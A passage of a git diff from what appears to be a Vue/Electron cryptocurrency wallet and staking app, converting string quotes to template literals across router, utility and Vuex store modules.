`preferences`, + component: common(`Preferences`) }, { - path: "/", - name: "wallet", - component: wallet("Wallet") + path: `/`, + name: `wallet`, + component: wallet(`Wallet`) }, { - path: "/wallet/send/:denom?", - name: "send", + path: `/wallet/send/:denom?`, + name: `send`, props: true, - component: wallet("Send") + component: wallet(`Send`) }, { - path: "/wallet/transactions", - name: "transactions", - component: wallet("Transactions") + path: `/wallet/transactions`, + name: `transactions`, + component: wallet(`Transactions`) }, - { path: "/404", component: common("404") }, - { path: "*", component: common("404") } + { path: `/404`, component: common(`404`) }, + { path: `*`, component: common(`404`) } ] diff --git a/app/src/renderer/scripts/b32.js b/app/src/renderer/scripts/b32.js index f7c18cde59..e9952c1dd6 100644 --- a/app/src/renderer/scripts/b32.js +++ b/app/src/renderer/scripts/b32.js @@ -1,13 +1,13 @@ "use strict" -const bech32 = require("bech32") +const bech32 = require(`bech32`) module.exports = { decode(value) { let words = bech32.decode(value) - return Buffer.from(bech32.fromWords(words.words)).toString("hex") + return Buffer.from(bech32.fromWords(words.words)).toString(`hex`) }, - encode(value, prefix = "tb", type = "hex") { + encode(value, prefix = `tb`, type = `hex`) { let words = bech32.toWords(Buffer.from(value, type)) return bech32.encode(prefix, words) } diff --git a/app/src/renderer/scripts/common.js b/app/src/renderer/scripts/common.js index b0fcbb3376..c6daeae6fb 100644 --- a/app/src/renderer/scripts/common.js +++ b/app/src/renderer/scripts/common.js @@ -1,27 +1,27 @@ "use strict" -const BN = require("bignumber.js").BigNumber +const BN = require(`bignumber.js`).BigNumber // if given a valid address this will return the prefix plus some parameter // length of the end. if it is not an address it will take that parameter // length and return half of it as the beginning of the "address" and hald the end module.exports.shortAddress = function(address, length = 4) { - if (address.indexOf("1") === -1) { + if (address.indexOf(`1`) === -1) { return address.length <= length * 2 ? address : address.slice(0, Math.floor(length)) + - "…" + + `…` + address.slice(-1 * Math.ceil(length)) } else { - if (length > address.split("1")[1].length) return address - return address.split("1")[0] + "…" + address.slice(-1 * length) + if (length > address.split(`1`)[1].length) return address + return address.split(`1`)[0] + `…` + address.slice(-1 * length) } } // convert rat format ('123/456') to big number module.exports.ratToBigNumber = function(rat) { - let n = new BN(rat.split("/")[0]) - let d = new BN(rat.split("/")[1] || 1) + let n = new BN(rat.split(`/`)[0]) + let d = new BN(rat.split(`/`)[1] || 1) return n.div(d) } // TODO uncomment when validator comission is done @@ -41,11 +41,11 @@ module.exports.ratToBigNumber = function(rat) { module.exports.calculateShares = function(validator, tokens) { let myTokens = new BN(tokens || 0) - let totalSharesN = new BN(validator.delegator_shares.split("/")[0]) - let totalSharesD = new BN(validator.delegator_shares.split("/")[1] || 1) + let totalSharesN = new BN(validator.delegator_shares.split(`/`)[0]) + let totalSharesD = new BN(validator.delegator_shares.split(`/`)[1] || 1) - let totalTokensN = new BN(validator.tokens.split("/")[0]) - let totalTokensD = new BN(validator.tokens.split("/")[1] || 1) + let totalTokensN = new BN(validator.tokens.split(`/`)[0]) + let totalTokensD = new BN(validator.tokens.split(`/`)[1] || 1) if (totalTokensN.eq(0)) return new BN(0) return myTokens @@ -59,11 +59,11 @@ module.exports.calculateTokens = function(validator, shares) { // (myShares / totalShares) * totalTokens where totalShares // and totalTokens are both represented as fractions let myShares = new BN(shares || 0) - let totalSharesN = new BN(validator.delegator_shares.split("/")[0]) - let totalSharesD = new BN(validator.delegator_shares.split("/")[1] || 1) + let totalSharesN = new BN(validator.delegator_shares.split(`/`)[0]) + let totalSharesD = new BN(validator.delegator_shares.split(`/`)[1] || 1) - let totalTokensN = new BN(validator.tokens.split("/")[0]) - let totalTokensD = new BN(validator.tokens.split("/")[1] || 1) + let totalTokensN = new BN(validator.tokens.split(`/`)[0]) + let totalTokensD = new BN(validator.tokens.split(`/`)[1] || 1) if (totalSharesN.eq(0)) return new BN(0) return myShares .times(totalSharesD) diff --git a/app/src/renderer/scripts/num.js b/app/src/renderer/scripts/num.js index 23c4f622f2..e9fa94cbf7 100644 --- a/app/src/renderer/scripts/num.js +++ b/app/src/renderer/scripts/num.js @@ -1,32 +1,32 @@ "use strict" -const numeral = require("numeral") +const numeral = require(`numeral`) function usd(num) { - return numeral(num).format("$0,0.00") + return numeral(num).format(`$0,0.00`) } function usdInt(num) { - return numeral(num).format("$0,0") + return numeral(num).format(`$0,0`) } function full(num) { - return numeral(num).format("0,0.00000000") + return numeral(num).format(`0,0.00000000`) } function pretty(num) { - return numeral(num).format("0,0.00") + return numeral(num).format(`0,0.00`) } function prettyInt(num) { - return numeral(num).format("0,0") + return numeral(num).format(`0,0`) } function short(num) { if (num >= 1000000000) { - return pretty(num / 1000000000) + "B" + return pretty(num / 1000000000) + `B` } if (num >= 1000000) { - return pretty(num / 1000000) + "M" + return pretty(num / 1000000) + `M` } if (num >= 1000) { - return pretty(num / 1000) + "K" + return pretty(num / 1000) + `K` } - return numeral(num).format("0.00") + return numeral(num).format(`0.00`) } function shortInt(num) { if (num > 1000) { @@ -35,10 +35,10 @@ function shortInt(num) { return prettyInt(num) } function percentInt(x) { - return numeral(x).format("0%") + return numeral(x).format(`0%`) } function percent(x) { - return numeral(x).format("0.00%") + return numeral(x).format(`0.00%`) } module.exports = { diff --git a/app/src/renderer/scripts/tx-utils.js b/app/src/renderer/scripts/tx-utils.js index ca87b687d4..55ad87f592 100644 --- a/app/src/renderer/scripts/tx-utils.js +++ b/app/src/renderer/scripts/tx-utils.js @@ -2,9 +2,9 @@ import crypto from "crypto" export function getTxHash(txstring) { let s256Buffer = crypto - .createHash("sha256") - .update(Buffer.from(txstring, "base64")) + .createHash(`sha256`) + .update(Buffer.from(txstring, `base64`)) .digest() let txbytes = new Uint8Array(s256Buffer) - return Buffer.from(txbytes.slice(0, 20)).toString("hex") + return Buffer.from(txbytes.slice(0, 20)).toString(`hex`) } diff --git a/app/src/renderer/vuex/modules/blockchain.js b/app/src/renderer/vuex/modules/blockchain.js index f9198ac27c..30b51033f8 100644 --- a/app/src/renderer/vuex/modules/blockchain.js +++ b/app/src/renderer/vuex/modules/blockchain.js @@ -29,14 +29,14 @@ export default ({ node }) => { const actions = { reconnected({ commit, dispatch }) { //on a reconnect we assume, that the rpc connector changed, so we can safely resubscribe to blocks - commit("setSubscription", false) - dispatch("subscribeToBlocks") + commit(`setSubscription`, false) + dispatch(`subscribeToBlocks`) }, async queryBlockInfo({ state, commit }, height) { if (!height) { - commit("notifyError", { + commit(`notifyError`, { title: `Couldn't query block`, - body: "No Height Provided" + body: `No Height Provided` }) return } @@ -49,7 +49,7 @@ export default ({ node }) => { { minHeight: height, maxHeight: height }, (err, data) => { if (err) { - commit("notifyError", { + commit(`notifyError`, { title: `Couldn't query block`, body: err.message }) @@ -61,38 +61,38 @@ export default ({ node }) => { ) }) - commit("setBlockMetas", { ...state.blockMetas, [height]: blockMetaInfo }) + commit(`setBlockMetas`, { ...state.blockMetas, [height]: blockMetaInfo }) return blockMetaInfo }, subscribeToBlocks({ state, commit, dispatch }) { // ensure we never subscribe twice if (state.subscription) return false if (state.subscribedRPC === node.rpc) return false - commit("setSubscribedRPC", node.rpc) + commit(`setSubscribedRPC`, node.rpc) function error(err) { - dispatch("nodeHasHalted") + dispatch(`nodeHasHalted`) console.error( - `Error subscribing to new blocks: ${err.message} ${err.data || ""}` + `Error subscribing to new blocks: ${err.message} ${err.data || ``}` ) } node.rpc.status((err, status) => { if (err) return error(err) - commit("setBlockHeight", status.sync_info.latest_block_height) + commit(`setBlockHeight`, status.sync_info.latest_block_height) if (status.sync_info.catching_up) { // still syncing, let's try subscribing again in 30 seconds - commit("setSyncing", true) - commit("setSubscription", false) - setTimeout(() => dispatch("subscribeToBlocks"), 30e3) + commit(`setSyncing`, true) + commit(`setSubscription`, false) + setTimeout(() => dispatch(`subscribeToBlocks`), 30e3) return false } - commit("setSyncing", false) + commit(`setSyncing`, false) // only subscribe if the node is not catching up anymore - node.rpc.subscribe({ query: "tm.event = 'NewBlock'" }, err => { - commit("setSubscription", true) + node.rpc.subscribe({ query: `tm.event = 'NewBlock'` }, err => { + commit(`setSubscription`, true) if (err) return error(err) }) diff --git a/app/src/renderer/vuex/modules/config.js b/app/src/renderer/vuex/modules/config.js index bb4180ee6d..d0dac0bf27 100644 --- a/app/src/renderer/vuex/modules/config.js +++ b/app/src/renderer/vuex/modules/config.js @@ -5,21 +5,21 @@ import noScroll from "no-scroll" export default () => { const emptyState = { maxValidators: 100, - activeMenu: "", + activeMenu: ``, desktop: false, devMode: process.env.PREVIEW !== undefined ? JSON.parse(process.env.PREVIEW) - : process.env.NODE_ENV === "development", + : process.env.NODE_ENV === `development`, // TODO: change to atom - bondingDenom: "Steak", + bondingDenom: `Steak`, modals: { error: { active: false }, help: { active: false }, receive: { active: false }, session: { active: true, - state: "loading" + state: `loading` }, noNodes: { active: false }, nodeHalted: { active: false } @@ -48,7 +48,7 @@ export default () => { if (value) { noScroll.on() } else { - state.modals.session.state = "loading" + state.modals.session.state = `loading` noScroll.off() } state.modals.session.active = value diff --git a/app/src/renderer/vuex/modules/delegates.js b/app/src/renderer/vuex/modules/delegates.js index 18dcfdb29e..7c4fb46888 100644 --- a/app/src/renderer/vuex/modules/delegates.js +++ b/app/src/renderer/vuex/modules/delegates.js @@ -29,7 +29,7 @@ export default ({ node }) => { delegate.id = delegate.owner // TODO: calculate voting power - let divIdx = delegate.tokens.indexOf("/") + let divIdx = delegate.tokens.indexOf(`/`) let tokens if (divIdx == -1) { tokens = Number(delegate.tokens) @@ -58,7 +58,7 @@ export default ({ node }) => { const actions = { reconnected({ state, dispatch }) { if (state.loading) { - dispatch("getDelegates") + dispatch(`getDelegates`) } }, resetSessionData({ rootState }) { @@ -70,11 +70,11 @@ export default ({ node }) => { validator.pub_key ) if (!isEmpty(signing_info)) validator.signing_info = signing_info - commit("addDelegate", validator) + commit(`addDelegate`, validator) } }, async getDelegates({ state, commit, dispatch }) { - commit("setDelegateLoading", true) + commit(`setDelegateLoading`, true) let candidates = await node.getCandidates() let { validators } = await node.getValidatorSet() for (let delegate of candidates) { @@ -82,13 +82,13 @@ export default ({ node }) => { if (validators.find(v => v.pub_key === delegate.pub_key)) { delegate.isValidator = true } - commit("addDelegate", delegate) + commit(`addDelegate`, delegate) } - commit("setDelegates", candidates) - commit("setDelegateLoading", false) - dispatch("getKeybaseIdentities", candidates) - dispatch("updateSigningInfo", candidates) + commit(`setDelegates`, candidates) + commit(`setDelegateLoading`, false) + dispatch(`getKeybaseIdentities`, candidates) + dispatch(`updateSigningInfo`, candidates) return state.delegates }, @@ -103,7 +103,7 @@ export default ({ node }) => { .div(ratToBigNumber(validator.delegator_shares)) .toNumber() - commit("setSelfBond", { validator, ratio }) + commit(`setSelfBond`, { validator, ratio }) return ratio } } diff --git a/app/src/renderer/vuex/modules/delegation.js b/app/src/renderer/vuex/modules/delegation.js index 2695c7eb60..aaa7568e5c 100644 --- a/app/src/renderer/vuex/modules/delegation.js +++ b/app/src/renderer/vuex/modules/delegation.js @@ -54,7 +54,7 @@ export default ({ node }) => { let actions = { reconnected({ state, dispatch }) { if (state.loading) { - dispatch("getBondedDelegates") + dispatch(`getBondedDelegates`) } }, resetSessionData({ rootState }) { @@ -67,7 +67,7 @@ export default ({ node }) => { ) { state.loading = true let address = rootState.user.address - candidates = candidates || (await dispatch("getDelegates")) + candidates = candidates || (await dispatch(`getDelegates`)) let delegator = await node.getDelegator(address) // the request runs that long, that the user might sign out and back in again @@ -77,7 +77,7 @@ export default ({ node }) => { if (delegator.delegations) { delegator.delegations.forEach(({ validator_addr, shares }) => { - commit("setCommittedDelegation", { + commit(`setCommittedDelegation`, { candidateId: validator_addr, value: parseFloat(shares) }) @@ -85,7 +85,7 @@ export default ({ node }) => { const delegate = candidates.find( ({ owner }) => owner === validator_addr // this should change to address instead of owner ) - commit("addToCart", delegate) + commit(`addToCart`, delegate) } }) } @@ -97,7 +97,7 @@ export default ({ node }) => { ({ validator_addr }) => validator_addr === validatorAddr ) ) - commit("setCommittedDelegation", { + commit(`setCommittedDelegation`, { candidateId: validatorAddr, value: 0 }) @@ -106,7 +106,7 @@ export default ({ node }) => { if (delegator.unbonding_delegations) { delegator.unbonding_delegations.forEach( ({ validator_addr, balance, min_time }) => { - commit("setUnbondingDelegations", { + commit(`setUnbondingDelegations`, { validator_addr, balance, min_time @@ -122,7 +122,7 @@ export default ({ node }) => { ({ validator_addr }) => validator_addr === validatorAddr ) ) - commit("setUnbondingDelegations", { + commit(`setUnbondingDelegations`, { validator_addr: validatorAddr, balance: { amount: 0 } }) @@ -132,8 +132,8 @@ export default ({ node }) => { state.loading = false }, async updateDelegates({ dispatch }) { - let candidates = await dispatch("getDelegates") - return dispatch("getBondedDelegates", candidates) + let candidates = await dispatch(`getDelegates`) + return dispatch(`getBondedDelegates`, candidates) }, async submitDelegation( { @@ -165,8 +165,8 @@ export default ({ node }) => { ) })) - await dispatch("sendTx", { - type: "updateDelegations", + await dispatch(`sendTx`, { + type: `updateDelegations`, to: wallet.address, // TODO strange syntax delegations: mappedDelegations, begin_unbondings: mappedUnbondings @@ -182,12 +182,12 @@ export default ({ node }) => { ) - delegation.atoms ) .reduce((sum, diff) => sum + diff, 0) - commit("setAtoms", user.atoms + atomsDiff) + commit(`setAtoms`, user.atoms + atomsDiff) // we optimistically update the committed delegations // TODO usually I would just query the new state through the LCD and update the state with the result, but at this point we still get the old shares setTimeout(async () => { - dispatch("updateDelegates") //.then(() => + dispatch(`updateDelegates`) //.then(() => // updateCommittedDelegations( // delegations, // commit @@ -197,8 +197,8 @@ export default ({ node }) => { }, async endUnbonding({ rootState, state, dispatch, commit }, validatorAddr) { try { - await dispatch("sendTx", { - type: "updateDelegations", + await dispatch(`sendTx`, { + type: `updateDelegations`, to: rootState.wallet.address, // TODO strange syntax complete_unbondings: [ { @@ -209,19 +209,19 @@ export default ({ node }) => { }) let balance = state.unbondingDelegations[validatorAddr].balance - commit("setUnbondingDelegations", { + commit(`setUnbondingDelegations`, { validator_addr: validatorAddr, balance: { amount: 0 } }) - commit("notify", { - title: "Ending undelegation successful", + commit(`notify`, { + title: `Ending undelegation successful`, body: `You successfully undelegated ${balance.amount} ${ balance.denom }s from ${validatorAddr}` }) } catch (err) { - commit("notifyError", { - title: "Ending undelegation failed", + commit(`notifyError`, { + title: `Ending undelegation failed`, body: err }) } diff --git a/app/src/renderer/vuex/modules/filters.js b/app/src/renderer/vuex/modules/filters.js index 64f136b9cf..5916a52020 100644 --- a/app/src/renderer/vuex/modules/filters.js +++ b/app/src/renderer/vuex/modules/filters.js @@ -5,37 +5,37 @@ export default () => { balances: { search: { visible: false, - query: "" + query: `` } }, blocks: { search: { visible: false, - query: "" + query: `` } }, delegates: { search: { visible: false, - query: "" + query: `` } }, proposals: { search: { visible: false, - query: "" + query: `` } }, transactions: { search: { visible: false, - query: "" + query: `` } }, validators: { search: { visible: false, - query: "" + query: `` } } } @@ -44,7 +44,7 @@ export default () => { const mutations = { resetSearch(state, type) { state[type].search.visible = false - state[type].search.query = "" + state[type].search.query = `` }, setSearchVisible(state, [type, bool]) { state[type].search.visible = bool diff --git a/app/src/renderer/vuex/modules/index.js b/app/src/renderer/vuex/modules/index.js index 4debbe847c..768843929d 100644 --- a/app/src/renderer/vuex/modules/index.js +++ b/app/src/renderer/vuex/modules/index.js @@ -1,20 +1,20 @@ "use strict" export default opts => ({ - blockchain: require("./blockchain.js").default(opts), - transactions: require("./transactions.js").default(opts), - config: require("./config.js").default(opts), - delegates: require("./delegates.js").default(opts), - delegation: require("./delegation.js").default(opts), - filters: require("./filters.js").default(opts), - node: require("./node.js").default(opts), - notifications: require("./notifications.js").default(opts), - onboarding: require("./onboarding.js").default(opts), - proposals: require("./proposals.js").default(opts), - send: require("./send.js").default(opts), - themes: require("./themes.js").default(opts), - user: require("./user.js").default(opts), - validators: require("./validators.js").default(opts), - wallet: require("./wallet.js").default(opts), - keybase: require("./keybase.js").default(opts) + blockchain: require(`./blockchain.js`).default(opts), + transactions: require(`./transactions.js`).default(opts), + config: require(`./config.js`).default(opts), + delegates: require(`./delegates.js`).default(opts), + delegation: require(`./delegation.js`).default(opts), + filters: require(`./filters.js`).default(opts), + node: require(`./node.js`).default(opts), + notifications: require(`./notifications.js`).default(opts), + onboarding: require(`./onboarding.js`).default(opts), + proposals: require(`./proposals.js`).default(opts), + send: require(`./send.js`).default(opts), + themes: require(`./themes.js`).default(opts), + user: require(`./user.js`).default(opts), + validators: require(`./validators.js`).default(opts), + wallet: require(`./wallet.js`).default(opts), + keybase: require(`./keybase.js`).default(opts) }) diff --git a/app/src/renderer/vuex/modules/keybase.js b/app/src/renderer/vuex/modules/keybase.js index c47ab512c8..185a0d309b 100644 --- a/app/src/renderer/vuex/modules/keybase.js +++ b/app/src/renderer/vuex/modules/keybase.js @@ -20,18 +20,17 @@ export default ({}) => { if (!/.{16}/.test(keybaseId)) return // the keybase id is not correct if (state.identities[keybaseId]) return // we already have this identity - let urlPrefix = - "https://keybase.io/_/api/1.0/user/lookup.json?key_suffix=" + let urlPrefix = `https://keybase.io/_/api/1.0/user/lookup.json?key_suffix=` let fullUrl = urlPrefix + keybaseId let json = await axios.get(fullUrl) - if (json.data.status.name === "OK") { + if (json.data.status.name === `OK`) { let user = json.data.them[0] if (user && user.pictures && user.pictures.primary) { return { keybaseId, avatarUrl: user.pictures.primary.url, userName: user.basics.username, - profileUrl: "https://keybase.io/" + user.basics.username + profileUrl: `https://keybase.io/` + user.basics.username } } } @@ -41,13 +40,13 @@ export default ({}) => { validators.map(async validator => { if (validator.description.identity) { return dispatch( - "getKeybaseIdentity", + `getKeybaseIdentity`, validator.description.identity ) } }) ).then(identities => { - commit("setKeybaseIdentities", identities.filter(x => !!x)) + commit(`setKeybaseIdentities`, identities.filter(x => !!x)) }) } } diff --git a/app/src/renderer/vuex/modules/node.js b/app/src/renderer/vuex/modules/node.js index 41dc789762..66c234e664 100644 --- a/app/src/renderer/vuex/modules/node.js +++ b/app/src/renderer/vuex/modules/node.js @@ -4,7 +4,7 @@ import { setTimeout } from "timers" import { ipcRenderer, remote } from "electron" import { sleep } from "scripts/common.js" -const config = remote.getGlobal("config") +const config = remote.getGlobal(`config`) const NODE_HALTED_TIMEOUT = config.node_halted_timeout export default function({ node }) { @@ -16,7 +16,7 @@ export default function({ node }) { connected: false, lastHeader: { height: 0, - chain_id: "" + chain_id: `` }, approvalRequired: null, mocked: node.mocked @@ -50,12 +50,12 @@ export default function({ node }) { // to prevent errors popping up from the LCD before the user is signed on, we skip updating validators before // TODO identify why rest calls fail at this point if (rootState.user.signedIn) - await dispatch("maybeUpdateValidators", header) + await dispatch(`maybeUpdateValidators`, header) }, async reconnect({ commit }) { if (state.stopConnecting) return - commit("setConnected", false) + commit(`setConnected`, false) node.rpcReconnect() }, async rpcSubscribe({ commit, dispatch }) { @@ -66,58 +66,58 @@ export default function({ node }) { // we handle the reconnection here so we can attach all these listeners on reconnect if (!node.rpcInfo.connected) { await sleep(500) - dispatch("reconnect") + dispatch(`reconnect`) return } - commit("setConnected", true) - commit("setNode", node.rpcInfo.nodeIP) + commit(`setConnected`, true) + commit(`setNode`, node.rpcInfo.nodeIP) // TODO: get event from light-client websocket instead of RPC connection (once that exists) - node.rpc.on("error", err => { - if (err.message.indexOf("disconnected") !== -1) { - commit("setConnected", false) - dispatch("reconnect") + node.rpc.on(`error`, err => { + if (err.message.indexOf(`disconnected`) !== -1) { + commit(`setConnected`, false) + dispatch(`reconnect`) } }) node.rpc.status((err, res) => { if (err) return console.error(err) let status = res - dispatch("setLastHeader", { + dispatch(`setLastHeader`, { height: status.sync_info.latest_block_height, chain_id: status.node_info.network }) }) node.rpc.subscribe( - { query: "tm.event = 'NewBlockHeader'" }, + { query: `tm.event = 'NewBlockHeader'` }, (err, event) => { if (err) { - return console.error("error subscribing to headers", err) + return console.error(`error subscribing to headers`, err) } - dispatch("setLastHeader", event.data.value.header) + dispatch(`setLastHeader`, event.data.value.header) } ) - dispatch("walletSubscribe") - dispatch("checkNodeHalted") - dispatch("pollRPCConnection") + dispatch(`walletSubscribe`) + dispatch(`checkNodeHalted`) + dispatch(`pollRPCConnection`) }, checkNodeHalted({ state, dispatch }) { state.nodeHaltedTimeout = setTimeout(() => { if (!state.lastHeader.height) { - dispatch("nodeHasHalted") + dispatch(`nodeHasHalted`) } }, NODE_HALTED_TIMEOUT) // default 30s }, nodeHasHalted({ commit }) { clearTimeout(state.nodeHaltedTimeout) - commit("setModalNodeHalted", true) + commit(`setModalNodeHalted`, true) }, async checkConnection({ commit }) { let error = () => - commit("notifyError", { - title: "Critical Error", + commit(`notifyError`, { + title: `Critical Error`, body: `Couldn't initialize the blockchain client. If the problem persists, please make an issue on GitHub.` }) try { @@ -139,25 +139,25 @@ export default function({ node }) { // clear timeout doesn't work if (state.nodeTimeout && !state.mocked) { state.nodeTimeout = null - dispatch("reconnect") + dispatch(`reconnect`) } }, timeout) node.rpc.status(err => { if (!err) { state.nodeTimeout = null setTimeout(() => { - dispatch("pollRPCConnection") + dispatch(`pollRPCConnection`) }, timeout) } }) }, approveNodeHash({ state }, hash) { state.approvalRequired = null - ipcRenderer.send("hash-approved", hash) + ipcRenderer.send(`hash-approved`, hash) }, disapproveNodeHash({ state }, hash) { state.approvalRequired = null - ipcRenderer.send("hash-disapproved", hash) + ipcRenderer.send(`hash-disapproved`, hash) }, async setMockedConnector({ state, dispatch, commit }, mocked) { state.mocked = mocked @@ -176,21 +176,21 @@ export default function({ node }) { if (mocked) { // if we run a mocked version only, we don't want the lcd to run in the meantime - ipcRenderer.send("stop-lcd") + ipcRenderer.send(`stop-lcd`) // we need to trigger this event for the mocked mode as it is usually triggered by the "connected" event from the main thread - dispatch("rpcSubscribe") + dispatch(`rpcSubscribe`) // the mocked node is automatically connected - dispatch("reconnected") + dispatch(`reconnected`) } else { // if we switch to a live connector, we need to wait for the process to have started up again so we can access the KMS - commit("setModalSession", "loading") - await new Promise(resolve => ipcRenderer.once("connected", resolve)) + commit(`setModalSession`, `loading`) + await new Promise(resolve => ipcRenderer.once(`connected`, resolve)) } // sign user out, as when switching from mocked to live node, the account address needs to be clarified again - dispatch("signOut") + dispatch(`signOut`) } } diff --git a/app/src/renderer/vuex/modules/notifications.js b/app/src/renderer/vuex/modules/notifications.js index e1b24b86fa..49d2f6578b 100644 --- a/app/src/renderer/vuex/modules/notifications.js +++ b/app/src/renderer/vuex/modules/notifications.js @@ -2,27 +2,27 @@ export default () => { const noteSignUp = { - icon: "mood", - title: "Welcome!", - body: "Thank you for signing up.", + icon: `mood`, + title: `Welcome!`, + body: `Thank you for signing up.`, time: 0 } const noteSignIn = { - icon: "mood", - title: "Signed In", - body: "Welcome back.", + icon: `mood`, + title: `Signed In`, + body: `Welcome back.`, time: 0 } const noteSignOut = { - icon: "exit_to_app", - title: "Signed Out", - body: "Come back again soon.", + icon: `exit_to_app`, + title: `Signed Out`, + body: `Come back again soon.`, time: 0 } const noteAuthRequired = { - icon: "error", - title: "Authentication Required", - body: "You must sign up or sign in to view that page.", + icon: `error`, + title: `Authentication Required`, + body: `You must sign up or sign in to view that page.`, time: 0 } @@ -32,7 +32,7 @@ export default () => { addNotification(state, note) { // log notifications so we can see the notifications in the log to debug console.log( - `[${note.type ? note.type.toUpperCase() : "INFO"}] ${note.title}: ${ + `[${note.type ? note.type.toUpperCase() : `INFO`}] ${note.title}: ${ note.body }` ) @@ -40,23 +40,23 @@ export default () => { }, notify(state, data) { let note = data - note.icon = "check_circle" + note.icon = `check_circle` note.time = Date.now() mutations.addNotification(state, note) }, notifyWarn(state, data) { let note = data - note.icon = "warning" + note.icon = `warning` note.time = Date.now() - note.type = "warning" + note.type = `warning` mutations.addNotification(state, note) }, notifyError(state, data) { let note = data - note.icon = "error" + note.icon = `error` note.time = Date.now() - note.layout = "alert" - note.type = "error" + note.layout = `alert` + note.type = `error` mutations.addNotification(state, note) }, notifySignUp(state) { diff --git a/app/src/renderer/vuex/modules/onboarding.js b/app/src/renderer/vuex/modules/onboarding.js index 59568ab431..77a7ebdeef 100644 --- a/app/src/renderer/vuex/modules/onboarding.js +++ b/app/src/renderer/vuex/modules/onboarding.js @@ -11,26 +11,26 @@ export default () => { loadOnboarding(state) { // localstorage saves bools and ints as strings, so we have to convert state.active = JSON.parse( - localStorage.getItem("appOnboardingActive") || "true" + localStorage.getItem(`appOnboardingActive`) || `true` ) state.state = JSON.parse( - localStorage.getItem("appOnboardingState") || "0" + localStorage.getItem(`appOnboardingState`) || `0` ) }, setOnboardingState(state, value) { state.state = value - localStorage.setItem("appOnboardingState", JSON.stringify(value)) + localStorage.setItem(`appOnboardingState`, JSON.stringify(value)) }, setOnboardingActive(state, value) { state.active = value - localStorage.setItem("appOnboardingActive", JSON.stringify(value)) + localStorage.setItem(`appOnboardingActive`, JSON.stringify(value)) } } const actions = { resetSessionData({ commit, rootState }) { rootState.onboarding = JSON.parse(JSON.stringify(emptyState)) - commit("loadOnboarding") + commit(`loadOnboarding`) } } return { diff --git a/app/src/renderer/vuex/modules/send.js b/app/src/renderer/vuex/modules/send.js index ae54c4cfeb..3a1174836a 100644 --- a/app/src/renderer/vuex/modules/send.js +++ b/app/src/renderer/vuex/modules/send.js @@ -4,7 +4,7 @@ export default ({ node }) => { let lock = null let state = { - nonce: "0" + nonce: `0` } const mutations = { @@ -16,7 +16,7 @@ export default ({ node }) => { } async function doSend({ state, dispatch, commit, rootState }, args) { - await dispatch("queryWalletBalances") // the nonce was getting out of sync, this is to force a sync + await dispatch(`queryWalletBalances`) // the nonce was getting out of sync, this is to force a sync args.sequence = state.nonce args.name = rootState.user.account args.password = rootState.user.password @@ -28,13 +28,13 @@ export default ({ node }) => { // args.src_chain_id = chainId // for IBC transfer // extract type - let type = args.type || "send" + let type = args.type || `send` delete args.type // extract "to" address let to = args.to delete args.to - args.gas = "50000000" + args.gas = `50000000` // submit to LCD to build, sign, and broadcast let req = to ? node[type](to, args) : node[type](args) @@ -45,7 +45,7 @@ export default ({ node }) => { // check response code assertOk(res) - commit("setNonce", (parseInt(state.nonce) + 1).toString()) + commit(`setNonce`, (parseInt(state.nonce) + 1).toString()) } let actions = { @@ -74,7 +74,7 @@ export default ({ node }) => { } }, resetSessionData({ state }) { - state.nonce = "0" + state.nonce = `0` } } @@ -87,13 +87,13 @@ export default ({ node }) => { function assertOk(res) { if (Array.isArray(res)) { - if (res.length === 0) throw new Error("Error sending transaction.") + if (res.length === 0) throw new Error(`Error sending transaction.`) return res.forEach(assertOk) } if (res.check_tx.code || res.deliver_tx.code) { let message = res.check_tx.log || res.deliver_tx.log - throw new Error("Error sending transaction: " + message) + throw new Error(`Error sending transaction: ` + message) } } diff --git a/app/src/renderer/vuex/modules/themes.js b/app/src/renderer/vuex/modules/themes.js index 12c22caace..4eb21ba89b 100644 --- a/app/src/renderer/vuex/modules/themes.js +++ b/app/src/renderer/vuex/modules/themes.js @@ -4,7 +4,7 @@ import dark from "../json/theme-dark.json" export default () => { const state = { - active: "dark", + active: `dark`, options: { dark: dark } @@ -12,12 +12,12 @@ export default () => { const mutations = { setTheme(state, theme) { state.active = theme - localStorage.setItem("appTheme", theme) + localStorage.setItem(`appTheme`, theme) mutations.updateTheme(state, theme) }, updateTheme(state, theme) { const newTheme = state.options[theme] - const isWin = navigator.platform.toUpperCase().indexOf("WIN") >= 0 + const isWin = navigator.platform.toUpperCase().indexOf(`WIN`) >= 0 if (isWin) { document.documentElement.style.setProperty(`--font-weight`, 400) } @@ -29,8 +29,8 @@ export default () => { const actions = { loadTheme({ commit }) { - const theme = localStorage.getItem("appTheme") - commit("setTheme", theme) + const theme = localStorage.getItem(`appTheme`) + commit(`setTheme`, theme) } } diff --git a/app/src/renderer/vuex/modules/transactions.js b/app/src/renderer/vuex/modules/transactions.js index f02ea02b50..0d4c664440 100644 --- a/app/src/renderer/vuex/modules/transactions.js +++ b/app/src/renderer/vuex/modules/transactions.js @@ -9,7 +9,7 @@ export default ({ node }) => { let state = JSON.parse(JSON.stringify(emptyState)) // properties under which txs of different categories are store - const txCategories = ["staking", "wallet"] + const txCategories = [`staking`, `wallet`] let mutations = { setWalletTxs(state, txs) { @@ -39,22 +39,22 @@ export default ({ node }) => { }, async reconnected({ dispatch }) { if (state.loading) { - await dispatch("getAllTxs") + await dispatch(`getAllTxs`) } }, async getAllTxs({ commit, dispatch }) { - commit("setHistoryLoading", true) - const stakingTxs = await dispatch("getTx", "staking") - commit("setStakingTxs", stakingTxs) + commit(`setHistoryLoading`, true) + const stakingTxs = await dispatch(`getTx`, `staking`) + commit(`setStakingTxs`, stakingTxs) - const walletTxs = await dispatch("getTx", "wallet") - commit("setWalletTxs", walletTxs) + const walletTxs = await dispatch(`getTx`, `wallet`) + commit(`setWalletTxs`, walletTxs) const allTxs = stakingTxs.concat(walletTxs) - await dispatch("enrichTransactions", { + await dispatch(`enrichTransactions`, { transactions: allTxs }) - commit("setHistoryLoading", false) + commit(`setHistoryLoading`, false) }, async getTx( { @@ -66,29 +66,29 @@ export default ({ node }) => { ) { let response switch (type) { - case "staking": + case `staking`: response = await node.getDelegatorTxs(address) break - case "wallet": + case `wallet`: response = await node.txs(address) break default: - throw new Error("Unknown transaction type") + throw new Error(`Unknown transaction type`) } const transactionsPlusType = response.map(fp.set(`type`, type)) - return response ? uniqBy(transactionsPlusType, "hash") : [] + return response ? uniqBy(transactionsPlusType, `hash`) : [] }, async enrichTransactions({ dispatch }, { transactions }) { const blockHeights = new Set(transactions.map(({ height }) => height)) await Promise.all( [...blockHeights].map(blockHeight => - dispatch("queryTransactionTime", { blockHeight }) + dispatch(`queryTransactionTime`, { blockHeight }) ) ) }, async queryTransactionTime({ commit, dispatch }, { blockHeight }) { - let 